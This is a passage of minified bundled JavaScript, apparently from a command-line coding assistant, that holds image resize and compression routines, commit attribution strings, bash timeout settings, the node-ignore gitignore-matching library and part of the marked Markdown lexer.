Y(A).jpeg({quality:80}).toBuffer(),mediaType:"jpeg"};return{buffer:A,mediaType:J}}let{width:O,height:X}=w,$=O,_=X;if(K<=Ay&&$<=cJA&&_<=lJA)return{buffer:A,mediaType:J,dimensions:{originalWidth:O,originalHeight:X,displayWidth:$,displayHeight:_}};let G=$>cJA||_>lJA,Z=J==="png";if(!G&&K>Ay){if(Z){let D=await Y(A).png({compressionLevel:9,palette:!0}).toBuffer();if(D.length<=Ay)return{buffer:D,mediaType:"png",dimensions:{originalWidth:O,originalHeight:X,displayWidth:$,displayHeight:_}}}for(let D of[80,60,40,20]){let j=await Y(A).jpeg({quality:D}).toBuffer();if(j.length<=Ay)return{buffer:j,mediaType:"jpeg",dimensions:{originalWidth:O,originalHeight:X,displayWidth:$,displayHeight:_}}}}if($>cJA)_=Math.round(_*cJA/$),$=cJA;if(_>lJA)$=Math.round($*lJA/_),_=lJA;h(`Resizing to ${$}x${_}`);let W=await Y(A).resize($,_,{fit:"inside",withoutEnlargement:!0}).toBuffer();if(W.length>Ay){if(Z){let P=await Y(A).resize($,_,{fit:"inside",withoutEnlargement:!0}).png({compressionLevel:9,palette:!0}).toBuffer();if(P.length<=Ay)return{buffer:P,mediaType:"png",dimensions:{originalWidth:O,originalHeight:X,displayWidth:$,displayHeight:_}}}for(let P of[80,60,40,20]){let f=await Y(A).resize($,_,{fit:"inside",withoutEnlargement:!0}).jpeg({quality:P}).toBuffer();if(f.length<=Ay)return{buffer:f,mediaType:"jpeg",dimensions:{originalWidth:O,originalHeight:X,displayWidth:$,displayHeight:_}}}let D=Math.min($,1000),j=Math.round(_*D/Math.max($,1));h("Still too large, compressing with JPEG");let M=await Y(A).resize(D,j,{fit:"inside",withoutEnlargement:!0}).jpeg({quality:20}).toBuffer();return h(`JPEG compressed buffer size: ${M.length}`),{buffer:M,mediaType:"jpeg",dimensions:{originalWidth:O,originalHeight:X,displayWidth:D,displayHeight:j}}}return{buffer:W,mediaType:J,dimensions:{originalWidth:O,originalHeight:X,displayWidth:$,displayHeight:_}}}catch(Y){KA(Y);let z=ZL9(Y);n("tengu_image_resize_failed",{original_size_bytes:K,error_type:z});let H=u$A(A).slice(6),J=Math.ceil(K*4/3);if(J<=dJA)return n("tengu_image_resize_fallback",{original_size_bytes:K,base64_size_bytes:J,error_type:z}),{buffer:A,mediaType:H};throw new M7A(`Unable to resize image (${qU(K)} raw, ${qU(J)} base64). The image exceeds the 5MB API limit and compression failed. Please resize the image manually or use a smaller image.`)}}async function iY6(A){if(A.source.type!=="base64")return{block:A};let K=Buffer.from(A.source.data,"base64"),q=K.length,z=A.source.media_type?.split("/")[1]||"png",w=await x$A(K,q,z);return{block:{type:"image",source:{type:"base64",media_type:`image/${w.mediaType}`,data:w.buffer.toString("base64")}},dimensions:w.dimensions}}async function P7A(A,K=Ay,q){let Y=q?.split("/")[1]||"jpeg",z=Y==="jpg"?"jpeg":Y;try{let w=await lY6(),H=await w(A).metadata(),J=H.format||z,O=A.length,X={imageBuffer:A,metadata:H,format:J,maxBytes:K,originalSize:O};if(O<=K)return TSA(A,J,O);let $=await WL9(X,w);if($)return $;if(J==="png"){let G=await jL9(X,w);if(G)return G}let _=await ML9(X,50,w);if(_)return _;return await PL9(X,w)}catch(w){if(KA(w),n("tengu_image_compress_failed",{original_size_bytes:A.length,max_bytes:K}),A.length<=K){let H=u$A(A);return{base64:A.toString("base64"),mediaType:H,originalSize:A.length}}throw new M7A(`Unable to compress image (${qU(A.length)}) to fit within ${qU(K)}. Please use a smaller image.`)}}async function Ou4(A,K,q){let Y=Math.floor(K/0.125),z=Math.floor(Y*0.75);return P7A(A,z,q)}async function Xu4(A,K=Ay){if(A.source.type!=="base64")return A;let q=Buffer.from(A.source.data,"base64");if(q.length<=K)return A;let Y=await P7A(q,K);return{type:"image",source:{type:"base64",media_type:Y.mediaType,data:Y.base64}}}function TSA(A,K,q){let Y=K==="jpg"?"jpeg":K;return{base64:A.toString("base64"),mediaType:`image/${Y}`,originalSize:q}}async function WL9(A,K){let q=[1,0.75,0.5,0.25];for(let Y of q){let z=Math.round((A.metadata.width||2000)*Y),w=Math.round((A.metadata.height||2000)*Y),H=K(A.imageBuffer).resize(z,w,{fit:"inside",withoutEnlargement:!0});H=DL9(H,A.format);let J=await H.toBuffer();if(J.length<=A.maxBytes)return TSA(J,A.format,A.originalSize)}return null}function DL9(A,K){switch(K){case"png":return A.png({compressionLevel:9,palette:!0});case"jpeg":case"jpg":return A.jpeg({quality:80});case"webp":return A.webp({quality:80});default:return A}}async function jL9(A,K){let q=await K(A.imageBuffer).resize(800,800,{fit:"inside",withoutEnlargement:!0}).png({compressionLevel:9,palette:!0,colors:64}).toBuffer();if(q.length<=A.maxBytes)return TSA(q,"png",A.originalSize);return null}async function ML9(A,K,q){let Y=await q(A.imageBuffer).resize(600,600,{fit:"inside",withoutEnlargement:!0}).jpeg({quality:K}).toBuffer();if(Y.length<=A.maxBytes)return TSA(Y,"jpeg",A.originalSize);return null}async function PL9(A,K){let q=await K(A.imageBuffer).resize(400,400,{fit:"inside",withoutEnlargement:!0}).jpeg({quality:20}).toBuffer();return TSA(q,"jpeg",A.originalSize)}function u$A(A){if(A.length<4)return"image/png";if(A[0]===137&&A[1]===80&&A[2]===78&&A[3]===71)return"image/png";if(A[0]===255&&A[1]===216&&A[2]===255)return"image/jpeg";if(A[0]===71&&A[1]===73&&A[2]===70)return"image/gif";if(A[0]===82&&A[1]===73&&A[2]===70&&A[3]===70){if(A.length>=12&&A[8]===87&&A[9]===69&&A[10]===66&&A[11]===80)return"image/webp"}return"image/png"}function nY6(A){try{let K=Buffer.from(A,"base64");return u$A(K)}catch{return"image/png"}}function B$A(A,K){let{originalWidth:q,originalHeight:Y,displayWidth:z,displayHeight:w}=A;if(!q||!Y||!z||!w||z<=0||w<=0){if(K)return`[Image source: ${K}]`;return null}let H=q!==z||Y!==w;if(!H&&!K)return null;let J=[];if(K)J.push(`source: ${K}`);if(H){let O=q/z;J.push(`original ${q}x${Y}, displayed at ${z}x${w}. Multiply coordinates by ${O.toFixed(2)} to map to original image.`)}return`[Image: ${J.join(", ")}]`}var Ju4=1,_L9=2,GL9=3,M7A;var Au=k(()=>{C1();Z1();l1();Hu4();s11();M7A=class M7A extends Error{constructor(A){super(A);this.name="ImageResizeError"}}});function VL9(A,K){return A?.includes("_staging_")===!0||K?.includes("staging")===!0}function fL9(A,K){return VL9(A,K)?"https://staging.claude.ai":"https://claude.ai"}function UY1(A,K){return`${fL9(A,K)}/code/${A}`}var $u4="https://claude.com/claude-code";var _u4=()=>{};function vL9(){return process.env.CLAUDE_CODE_ENTRYPOINT??"cli"}function pY1(){return{fileStates:new Map,sessionBaselines:new Map,surface:vL9(),startingHeadSha:null,promptCount:0,promptCountAtLastCommit:0,permissionPromptCount:0,permissionPromptCountAtLastCommit:0,escapeCount:0,escapeCountAtLastCommit:0}}var NL9,vSA=null,TL9;var V7A=k(()=>{q6();e6();Z1();C1();_u4();CK();K7();NL9=["github.com:anthropics/claude-cli-internal","github.com/anthropics/claude-cli-internal","github.com:anthropics/anthropic","github.com/anthropics/anthropic","github.com:anthropics/apps","github.com/anthropics/apps","github.com:anthropics/terraform-config","github.com/anthropics/terraform-config","github.com:anthropics/hex-export","github.com/anthropics/hex-export","github.com:anthropics/feedback-v2","github.com/anthropics/feedback-v2"],TL9=vx(async()=>{if(vSA!==null)return vSA;let A=V8(),K=await A7("git",["remote","get-url","origin"],{cwd:A,timeout:5000});if(K.code!==0)return vSA=!1,!1;let q=K.stdout.trim();return vSA=NL9.some((Y)=>q.includes(Y)),vSA})});function dY1(){if(BnA()==="remote"){let z=process.env.CLAUDE_CODE_REMOTE_SESSION_ID;if(z){let w=process.env.SESSION_INGRESS_URL;if(!w?.includes("localhost")){let H=UY1(z,w);return{commit:H,pr:H}}}return{commit:"",pr:""}}let A=lH4(J3()),K=`\uD83E\uDD16 Generated with [Claude Code](${$u4})`,q=`Co-Authored-By: ${A} <noreply@anthropic.com>`,Y=yq();if(Y.attribution)return{commit:Y.attribution.commit??q,pr:Y.attribution.pr??K};if(Y.includeCoAuthoredBy===!1)return{commit:"",pr:""};return{commit:q,pr:K}}var cY1=k(()=>{q6();I8();K7();UK();Xw();V7A();C1();Z1();wz()});function lY1(A=process.env){let K=A.BASH_DEFAULT_TIMEOUT_MS;if(K){let q=parseInt(K,10);if(!isNaN(q)&&q>0)return q}return 120000}function Gu4(A=process.env){let K=A.BASH_MAX_TIMEOUT_MS;if(K){let q=parseInt(K,10);if(!isNaN(q)&&q>0)return Math.max(q,lY1(A))}return Math.max(600000,lY1(A))}function ar(A){return MF(A)}var ESA=k(()=>{z7()});var CSA=v((mMw,rY1)=>{function Du4(A){return Array.isArray(A)?A:[A]}var EL9=void 0,oY6="",Zu4=" ",rY6="\\",kL9=/^\s+$/,CL9=/(?:[^\\]|^)\\$/,LL9=/^\\!/,RL9=/^\\#/,yL9=/\r?\n/g,IL9=/^\.{0,2}\/|^\.{1,2}$/,SL9=/\/$/,m$A="/",ju4="node-ignore";if(typeof Symbol<"u")ju4=Symbol.for("node-ignore");var Mu4=ju4,g$A=(A,K,q)=>{return Object.defineProperty(A,K,{value:q}),q},hL9=/([0-z])-([0-z])/g,Pu4=()=>!1,bL9=(A)=>A.replace(hL9,(K,q,Y)=>q.charCodeAt(0)<=Y.charCodeAt(0)?K:oY6),xL9=(A)=>{let{length:K}=A;return A.slice(0,K-K%2)},uL9=[[/^\uFEFF/,()=>oY6],[/((?:\\\\)*?)(\\?\s+)$/,(A,K,q)=>K+(q.indexOf("\\")===0?Zu4:oY6)],[/(\\+?)\s/g,(A,K)=>{let{length:q}=K;return K.slice(0,q-q%2)+Zu4}],[/[\\$.|*+(){^]/g,(A)=>`\\${A}`],[/(?!\\)\?/g,()=>"[^/]"],[/^\//,()=>"^"],[/\//g,()=>"\\/"],[/^\^*\\\*\\\*\\\//,()=>"^(?:.*\\/)?"],[/^(?=[^^])/,function(){return!/\/(?!$)/.test(this)?"(?:^|\\/)":"^"}],[/\\\/\\\*\\\*(?=\\\/|$)/g,(A,K,q)=>K+6<q.length?"(?:\\/[^\\/]+)*":"\\/.+"],[/(^|[^\\]+)(\\\*)+(?=.+)/g,(A,K,q)=>{let Y=q.replace(/\\\*/g,"[^\\/]*");return K+Y}],[/\\\\\\(?=[$.|*+(){^])/g,()=>rY6],[/\\\\/g,()=>rY6],[/(\\)?\[([^\]/]*?)(\\*)($|\])/g,(A,K,q,Y,z)=>K===rY6?`\\[${q}${xL9(Y)}${z}`:z==="]"?Y.length%2===0?`[${bL9(q)}${Y}]`:"[]":"[]"],[/(?:[^*])$/,(A)=>/\/$/.test(A)?`${A}$`:`${A}(?=$|\\/$)`]],BL9=/(^|\\\/)?\\\*$/,kSA="regex",iY1="checkRegex",Wu4="_",mL9={[kSA](A,K){return`${K?`${K}[^/]+`:"[^/]*"}(?=$|\\/$)`},[iY1](A,K){return`${K?`${K}[^/]*`:"[^/]*"}(?=$|\\/$)`}},gL9=(A)=>uL9.reduce((K,[q,Y])=>K.replace(q,Y.bind(A)),A),nY1=(A)=>typeof A==="string",FL9=(A)=>A&&nY1(A)&&!kL9.test(A)&&!CL9.test(A)&&A.indexOf("#")!==0,QL9=(A)=>A.split(yL9).filter(Boolean);class Vu4{constructor(A,K,q,Y,z,w){this.pattern=A,this.mark=K,this.negative=z,g$A(this,"body",q),g$A(this,"ignoreCase",Y),g$A(this,"regexPrefix",w)}get regex(){let A=Wu4+kSA;if(this[A])return this[A];return this._make(kSA,A)}get checkRegex(){let A=Wu4+iY1;if(this[A])return this[A];return this._make(iY1,A)}_make(A,K){let q=this.regexPrefix.replace(BL9,mL9[A]),Y=this.ignoreCase?new RegExp(q,"i"):new RegExp(q);return g$A(this,K,Y)}}var UL9=({pattern:A,mark:K},q)=>{let Y=!1,z=A;if(z.indexOf("!")===0)Y=!0,z=z.substr(1);z=z.replace(LL9,"!").replace(RL9,"#");let w=gL9(z);return new Vu4(A,K,z,q,Y,w)};class fu4{constructor(A){this._ignoreCase=A,this._rules=[]}_add(A){if(A&&A[Mu4]){this._rules=this._rules.concat(A._rules._rules),this._added=!0;return}if(nY1(A))A={pattern:A};if(FL9(A.pattern)){let K=UL9(A,this._ignoreCase);this._added=!0,this._rules.push(K)}}add(A){return this._added=!1,Du4(nY1(A)?QL9(A):A).forEach(this._add,this),this._added}test(A,K,q){let Y=!1,z=!1,w;this._rules.forEach((J)=>{let{negative:O}=J;if(z===O&&Y!==z||O&&!Y&&!z&&!K)return;if(!J[q].test(A))return;Y=!O,z=O,w=O?EL9:J});let H={ignored:Y,unignored:z};if(w)H.rule=w;return H}}var pL9=(A,K)=>{throw new K(A)},YU=(A,K,q)=>{if(!nY1(A))return q(`path must be a string, but got \`${K}\``,TypeError);if(!A)return q("path must not be empty",TypeError);if(YU.isNotRelative(A))return q(`path should be a \`path.relative()\`d string, but got "${K}"`,RangeError);return!0},Nu4=(A)=>IL9.test(A);YU.isNotRelative=Nu4;YU.convert=(A)=>A;class Tu4{constructor({ignorecase:A=!0,ignoreCase:K=A,allowRelativePaths:q=!1}={}){g$A(this,Mu4,!0),this._rules=new fu4(K),this._strictPathCheck=!q,this._initCache()}_initCache(){this._ignoreCache=Object.create(null),this._testCache=Object.create(null)}add(A){if(this._rules.add(A))this._initCache();return this}addPattern(A){return this.add(A)}_test(A,K,q,Y){let z=A&&YU.convert(A);return YU(z,A,this._strictPathCheck?pL9:Pu4),this._t(z,K,q,Y)}checkIgnore(A){if(!SL9.test(A))return this.test(A);let K=A.split(m$A).filter(Boolean);if(K.pop(),K.length){let q=this._t(K.join(m$A)+m$A,this._testCache,!0,K);if(q.ignored)return q}return this._rules.test(A,!1,iY1)}_t(A,K,q,Y){if(A in K)return K[A];if(!Y)Y=A.split(m$A).filter(Boolean);if(Y.pop(),!Y.length)return K[A]=this._rules.test(A,q,kSA);let z=this._t(Y.join(m$A)+m$A,K,q,Y);return K[A]=z.ignored?z:this._rules.test(A,q,kSA)}ignores(A){return this._test(A,this._ignoreCache,!1).ignored}createFilter(){return(A)=>!this.ignores(A)}filter(A){return Du4(A).filter(this.createFilter())}test(A){return this._test(A,this._testCache,!0)}}var aY6=(A)=>new Tu4(A),dL9=(A)=>YU(A&&YU.convert(A),A,Pu4),vu4=()=>{let A=(q)=>/^\\\\\?\\/.test(q)||/["<>|\u0000-\u001F]+/u.test(q)?q:q.replace(/\\/g,"/");YU.convert=A;let K=/^[a-z]:\//i;YU.isNotRelative=(q)=>K.test(q)||Nu4(q)};if(typeof process<"u"&&process.platform==="win32")vu4();rY1.exports=aY6;aY6.default=aY6;rY1.exports.isPathValid=dL9;g$A(rY1.exports,Symbol.for("setupWindows"),vu4)});function tY6(){return{async:!1,breaks:!1,extensions:null,gfm:!0,hooks:null,pedantic:!1,renderer:null,silent:!1,tokenizer:null,walkTokens:null}}function yu4(A){N7A=A}function Nz(A,K=""){let q=typeof A==="string"?A:A.source,Y={replace:(z,w)=>{let H=typeof w==="string"?w:w.source;return H=H.replace(DM.caret,"$1"),q=q.replace(z,H),Y},getRegex:()=>{return new RegExp(q,K)}};return Y}function Ku(A,K){if(K){if(DM.escapeTest.test(A))return A.replace(DM.escapeReplace,ku4)}else if(DM.escapeTestNoEncode.test(A))return A.replace(DM.escapeReplaceNoEncode,ku4);return A}function Cu4(A){try{A=encodeURI(A).replace(DM.percentDecode,"%")}catch{return null}return A}function Lu4(A,K){let q=A.replace(DM.findPipe,(w,H,J)=>{let O=!1,X=H;while(--X>=0&&J[X]==="\\")O=!O;if(O)return"|";else return" |"}),Y=q.split(DM.splitPipe),z=0;if(!Y[0].trim())Y.shift();if(Y.length>0&&!Y.at(-1)?.trim())Y.pop();if(K)if(Y.length>K)Y.splice(K);else while(Y.length<K)Y.push("");for(;z<Y.length;z++)Y[z]=Y[z].trim().replace(DM.slashPipe,"|");return Y}function RSA(A,K,q){let Y=A.length;if(Y===0)return"";let z=0;while(z<Y)if(A.charAt(Y-z-1)===K)z++;else break;return A.slice(0,Y-z)}function TR9(A,K){if(A.indexOf(K[1])===-1)return-1;let q=0;for(let Y=0;Y<A.length;Y++)if(A[Y]==="\\")Y++;else if(A[Y]===K[0])q++;else if(A[Y]===K[1]){if(q--,q<0)return Y}return-1}function Ru4(A,K,q,Y,z){let w=K.href,H=K.title||null,J=A[1].replace(z.other.outputLinkReplace,"$1");if(A[0].charAt(0)!=="!"){Y.state.inLink=!0;let O={type:"link",raw:q,href:w,title:H,text:J,tokens:Y.inlineTokens(J)};return Y.state.inLink=!1,O}return{type:"image",raw:q,href:w,title:H,text:J}}function vR9(A,K,q){let Y=A.match(q.other.indentCodeCompensation);if(Y===null)return K;let z=Y[1];return K.split(` `).map((w)=>{let H=w.match(q.other.beginningSpace);if(H===null)return w;let[J]=H;if(J.length>=z.length)return w.slice(z.length);return w}).join(` `)}class SSA{options;rules;lexer;constructor(A){this.options=A||N7A}space(A){let K=this.rules.block.newline.exec(A);if(K&&K[0].length>0)return{type:"space",raw:K[0]}}code(A){let K=this.rules.block.code.exec(A);if(K){let q=K[0].replace(this.rules.other.codeRemoveIndent,"");return{type:"code",raw:K[0],codeBlockStyle:"indented",text:!this.options.pedantic?RSA(q,` `):q}}}fences(A){let K=this.rules.block.fences.exec(A);if(K){let q=K[0],Y=vR9(q,K[3]||"",this.rules);return{type:"code",raw:q,lang:K[2]?K[2].trim().replace(this.rules.inline.anyPunctuation,"$1"):K[2],text:Y}}}heading(A){let K=this.rules.block.heading.exec(A);if(K){let q=K[2].trim();if(this.rules.other.endingHash.test(q)){let Y=RSA(q,"#");if(this.options.pedantic)q=Y.trim();else if(!Y||this.rules.other.endingSpaceChar.test(Y))q=Y.trim()}return{type:"heading",raw:K[0],depth:K[1].length,text:q,tokens:this.lexer.inline(q)}}}hr(A){let K=this.rules.block.hr.exec(A);if(K)return{type:"hr",raw:RSA(K[0],` `)}}blockquote(A){let K=this.rules.block.blockquote.exec(A);if(K){let q=RSA(K[0],` `).split(` `),Y="",z="",w=[];while(q.length>0){let H=!1,J=[],O;for(O=0;O<q.length;O++)if(this.rules.other.blockquoteStart.test(q[O]))J.push(q[O]),H=!0;else if(!H)J.push(q[O]);else break;q=q.slice(O);let X=J.join(` `),$=X.replace(this.rules.other.blockquoteSetextReplace,` $1`).replace(this.rules.other.blockquoteSetextReplace2,"");Y=Y?`${Y} ${X}`:X,z=z?`${z} ${$}`:$;let _=this.lexer.state.top;if(this.lexer.state.top=!0,this.lexer.blockTokens($,w,!0),this.lexer.state.top=_,q.length===0)break;let G=w.at(-1);if(G?.type==="code")break;else if(G?.type==="blockquote"){let Z=G,W=Z.raw+` `+q.join(` `),D=this.blockquote(W);w[w.length-1]=D,Y=Y.substring(0,Y.length-Z.raw.length)+D.raw,z=z.substring(0,z.length-Z.text.length)+D.text;break}else if(G?.type==="list"){let Z=G,W=Z.raw+` `+q.join(` `),D=this.list(W);w[w.length-1]=D,Y=Y.substring(0,Y.length-G.raw.length)+D.raw,z=z.substring(0,z.length-Z.raw.length)+D.raw,q=W.substring(w.at(-1).raw.length).split(` `);continue}}return{type:"blockquote",raw:Y,tokens:w,text:z}}}list(A){let K=this.rules.block.list.exec(A);if(K){let q=K[1].trim(),Y=q.length>1,z={type:"list",raw:"",ordered:Y,start:Y?+q.slice(0,-1):"",loose:!1,items:[]};if(q=Y?`\\d{1,9}\\${q.slice(-1)}`:`\\${q}`,this.options.pedantic)q=Y?q:"[*+-]";let w=this.rules.other.listItemRegex(q),H=!1;while(A){let O=!1,X="",$="";if(!(K=w.exec(A)))break;if(this.rules.block.hr.test(A))break;X=K[0],A=A.substring(X.length);let _=K[2].split(` `,1)[0].replace(this.rules.other.listReplaceTabs,(M)=>" ".repeat(3*M.length)),G=A.split(` `,1)[0],Z=!_.trim(),W=0;if(this.options.pedantic)W=2,$=_.trimStart();else if(Z)W=K[1].length+1;else W=K[2].search(this.rules.other.nonSpaceChar),W=W>4?1:W,$=_.slice(W),W+=K[1].length;if(Z&&this.rules.other.blankLine.test(G))X+=G+` `,A=A.substring(G.length+1),O=!0;if(!O){let M=this.rules.other.nextBulletRegex(W),P=this.rules.other.hrRegex(W),f=this.rules.other.fencesBeginRegex(W),N=this.rules.other.headingBeginRegex(W),T=this.rules.other.htmlBeginRegex(W);while(A){let C=A.split(` `,1)[0],R;if(G=C,this.options.pedantic)G=G.replace(this.rules.other.listReplaceNesting," "),R=G;else R=G.replace(this.rules.other.tabCharGlobal," ");if(f.test(G))break;if(N.test(G))break;if(T.test(G))break;if(M.test(G))break;if(P.test(G))break;if(R.search(this.rules.other.nonSpaceChar)>=W||!G.trim())$+=` `+R.slice(W);else{if(Z)break;if(_.replace(this.rules.other.tabCharGlobal," ").search(this.rules.other.nonSpaceChar)>=4)break;if(f.test(_))break;if(N.test(_))break;if(P.test(_))break;$+=` `+G}if(!Z&&!G.trim())Z=!0;X+=C+` `,A=A.substring(C.length+1),_=R.slice(W)}}if(!z.loose){if(H)z.loose=!0;else if(this.rules.other.doubleBlankLine.test(X))H=!0}let D=null,j;if(this.options.gfm){if(D=this.rules.other.listIsTask.exec($),D)j=D[0]!=="[ ] ",$=$.replace(this.rules.other.listReplaceTask,"")}z.items.push({type:"list_item",raw:X,task:!!D,checked:j,loose:!1,text:$,tokens:[]}),z.raw+=X}let J=z.items.at(-1);if(J)J.raw=J.raw.trimEnd(),J.text=J.text.trimEnd();else return;z.raw=z.raw.trimEnd();for(let O=0;O<z.items.length;O++)if(this.lexer.state.top=!1,z.items[O].tokens=this.lexer.blockTokens(z.items[O].text,[]),!z.loose){let X=z.items[O].tokens.filter((_)=>_.type==="space"),$=X.length>0&&X.some((_)=>this.rules.other.anyLine.test(_.raw));z.loose=$}if(z.loose)for(let O=0;O<z.items.length;O++)z.items[O].loose=!0;return z}}html(A){let K=this.rules.block.html.exec(A);if(K)return{type:"html",block:!0,raw:K[0],pre:K[1]==="pre"||K[1]==="script"||K[1]==="style",text:K[0]}}def(A){let K=this.rules.block.def.exec(A);if(K){let q=K[1].toLowerCase().replace(this.rules.other.multipleSpaceGlobal," "),Y=K[2]?K[2].replace(this.rules.other.hrefBrackets,"$1").replace(this.rules.inline.anyPunctuation,"$1"):"",z=K[3]?K[3].substring(1,K[3].length-1).replace(this.rules.inline.anyPunctuation,"$1"):K[3];return{type:"def",tag:q,raw:K[0],href:Y,title:z}}}table(A){let K=this.rules.block.table.exec(A);if(!K)return;if(!this.rules.other.tableDelimiter.test(K[2]))return;let q=Lu4(K[1]),Y=K[2].replace(this.rules.other.tableAlignChars,"").split("|"),z=K[3]?.trim()?K[3].replace(this.rules.other.tableRowBlankLine,"").split(` `):[],w={type:"table",raw:K[0],header:[],align:[],rows:[]};if(q.length!==Y.length)return;for(let H of Y)if(this.rules.other.tableAlignRight.test(H))w.align.push("right");else if(this.rules.other.tableAlignCenter.test(H))w.align.push("center");else if(this.rules.other.tableAlignLeft.test(H))w.align.push("left");else w.align.push(null);for(let H=0;H<q.length;H++)w.header.push({text:q[H],tokens:this.lexer.inline(q[H]),header:!0,align:w.align[H]});for(let H of z)w.rows.push(Lu4(H,w.header.length).map((J,O)=>{return{text:J,tokens:this.lexer.inline(J),header:!1,align:w.align[O]}}));return w}lheading(A){let K=this.rules.block.lheading.exec(A);if(K)return{type:"heading",raw:K[0],depth:K[2].charAt(0)==="="?1:2,text:K[1],tokens:this.lexer.inline(K[1])}}paragraph(A){let K=this.rules.block.paragraph.exec(A);if(K){let q=K[1].charAt(K[1].length-1)===` `?K[1].slice(0,-1):K[1];return{type:"paragraph",raw:K[0],text:q,tokens:this.lexer.inline(q)}}}text(A){let K=this.rules.block.text.exec(A);if(K)return{type:"text",raw:K[0],text:K[0],tokens:this.lexer.inline(K[0])}}escape(A){let K=this.rules.inline.escape.exec(A);if(K)return{type:"escape",raw:K[0],text:K[1]}}tag(A){let K=this.rules.inline.tag.exec(A);if(K){if(!this.lexer.state.inLink&&this.rules.other.startATag.test(K[0]))this.lexer.state.inLink=!0;else if(this.lexer.state.inLink&&this.rules.other.endATag.test(K[0]))this.lexer.state.inLink=!1;if(!this.lexer.state.inRawBlock&&this.rules.other.startPreScriptTag.test(K[0]))this.lexer.state.inRawBlock=!0;else if(this.lexer.state.inRawBlock&&this.rules.other.endPreScriptTag.test(K[0]))this.lexer.state.inRawBlock=!1;return{type:"html",raw:K[0],inLink:this.lexer.state.inLink,inRawBlock:this.lexer.state.inRawBlock,block:!1,text:K[0]}}}link(A){let K=this.rules.inline.link.exec(A);if(K){let q=K[2].trim();if(!this.options.pedantic&&this.rules.other.startAngleBracket.test(q)){if(!this.rules.other.endAngleBracket.test(q))return;let w=RSA(q.slice(0,-1),"\\");if((q.length-w.length)%2===0)return}else{let w=TR9(K[2],"()");if(w>-1){let J=(K[0].indexOf("!")===0?5:4)+K[1].length+w;K[2]=K[2].substring(0,w),K[0]=K[0].substring(0,J).trim(),K[3]=""}}let Y=K[2],z="";if(this.options.pedantic){let w=this.rules.other.pedanticHrefTitle.exec(Y);if(w)Y=w[1],z=w[3]}else z=K[3]?K[3].slice(1,-1):"";if(Y=Y.trim(),this.rules.other.startAngleBracket.test(Y))if(this.options.pedantic&&!this.rules.other.endAngleBracket.test(q))Y=Y.slice(1);else Y=Y.slice(1,-1);return Ru4(K,{href:Y?Y.replace(this.rules.inline.anyPunctuation,"$1"):Y,title:z?z.replace(this.rules.inline.anyPunctuation,"$1"):z},K[0],this.lexer,this.rules)}}reflink(A,K){let q;if((q=this.rules.inline.reflink.exec(A))||(q=this.rules.inline.nolink.exec(A))){let Y=(q[2]||q[1]).replace(this.rules.other.multipleSpaceGlobal," "),z=K[Y.toLowerCase()];if(!z){let w=q[0].charAt(0);return{type:"text",raw:w,text:w}}return Ru4(q,z,q[0],this.lexer,this.rules)}}emStrong(A,K,q=""){let Y=this.rules.inline.emStrongLDelim.exec(A);if(!Y)return;if(Y[3]&&q.match(this.rules.other.unicodeAlphaNumeric))return;if(!(Y[1]||Y[2])||!q||this.rules.inline.punctuation.exec(q)){let w=[...Y[0]].length-1,H,J,O=w,X=0,$=Y[0][0]==="*"?this.rules.inline.emStrongRDelimAst:this.rules.inline.emStrongRDelimUnd;$.lastIndex=0,K=K.slice(-1*A.length+w);while((Y=$.exec(K))!=null){if(H=Y[1]||Y[2]||Y[3]||Y[4]||Y[5]||Y[6],!H)continue;if(J=[...H].length,Y[3]||Y[4]){O+=J;continue}else if(Y[5]||Y[6]){if(w%3&&!((w+J)%3)){X+=J;continue}}if(O-=J,O>0)continue;J=Math.min(J,J+O+X);let _=[...Y[0]][0].length,G=A.slice(0,w+Y.index+_+J);if(Math.min(w,J)%2){let W=G.slice(1,-1);return{type:"em",raw:G,text:W,tokens:this.lexer.inlineTokens(W)}}let Z=G.slice(2,-2);return{type:"strong",raw:G,text:Z,tokens:this.lexer.inlineTokens(Z)}}}}codespan(A){let K=this.rules.inline.code.exec(A);if(K){let q=K[2].replace(this.rules.other.newLineCharGlobal," "),Y=this.rules.other.nonSpaceChar.test(q),z=this.rules.other.startingSpaceChar.test(q)&&this.rules.other.endingSpaceChar.test(q);if(Y&&z)q=q.substring(1,q.length-1);return{type:"codespan",raw:K[0],text:q}}}br(A){let K=this.rules.inline.br.exec(A);if(K)return{type:"br",raw:K[0]}}del(A){let K=this.rules.inline.del.exec(A);if(K)return{type:"del",raw:K[0],text:K[2],tokens:this.lexer.inlineTokens(K[2])}}autolink(A){let K=this.rules.inline.autolink.exec(A);if(K){let q,Y;if(K[2]==="@")q=K[1],Y="mailto:"+q;else q=K[1],Y=q;return{type:"link",raw:K[0],text:q,href:Y,tokens:[{type:"text",raw:q,text:q}]}}}url(A){let K;if(K=this.rules.inline.url.exec(A)){let q,Y;if(K[2]==="@")q=K[0],Y="mailto:"+q;else{let z;do z=K[0],K[0]=this.rules.inline._backpedal.exec(K[0])?.[0]??"";while(z!==K[0]);if(q=K[0],K[1]==="www.")Y="http://"+K[0];else Y=K[0]}return{type:"link",raw:K[0],text:q,href:Y,tokens:[{type:"text",raw:q,text:q}]}}}inlineText(A){let K=this.rules.inline.text.exec(A);if(K){let q=this.lexer.state.inRawBlock;return{type:"text",raw:K[0],text:K[0],escaped:q}}}}class jM{tokens;options;state;tokenizer;inlineQueue;constructor(A){this.tokens=[],this.tokens.links=Object.create(null),this.options=A||N7A,this.options.tokenizer=this.options.tokenizer||new SSA,this.tokenizer=this.options.tokenizer,this.tokenizer.options=this.options,this.tokenizer.lexer=this,this.inlineQueue=[],this.state={inLink:!1,inRawBlock:!1,top:!0};let K={other:DM,block:oY1.normal,inline:LSA.normal};if(this.options.pedantic)K.block=oY1.pedantic,K.inline=LSA.pedantic;else if(this.options.gfm)if(K.block=oY1.gfm,this.options.breaks)K.inline=LSA.breaks;else K.inline=LSA.gfm;this.tokenizer.rules=K}static get rules(){return{block:oY1,inline:LSA}}static lex(A,K){return new jM(K).lex(A)}static lexInline(A,K){return new jM(K).inlineTokens(A)}lex(A){A=A.replace(DM.carriageReturn,` `),this.blockTokens(A,this.tokens);for(let K=0;K<this.inlineQueue.length;K++){let q=this.inlineQueue[K];this.inlineTokens(q.src,q.tokens)}return this.inlineQueue=[],this.tokens}blockTokens(A,K=[],q=!1){if(this.options.pedantic)A=A.replace(DM.tabCharGlobal," ").replace(DM.spaceLine,"");while(A){let Y;if(this.options.extensions?.block?.some((w)=>{if(Y=w.call({lexer:this},A,K))return A=A.substring(Y.raw.length),K.push(Y),!0;return!1}))continue;if(Y=this.tokenizer.space(A)){A=A.substring(Y.raw.length);let w=K.at(-1);if(Y.raw.length===1&&w!==void 0)w.raw+=` `;else 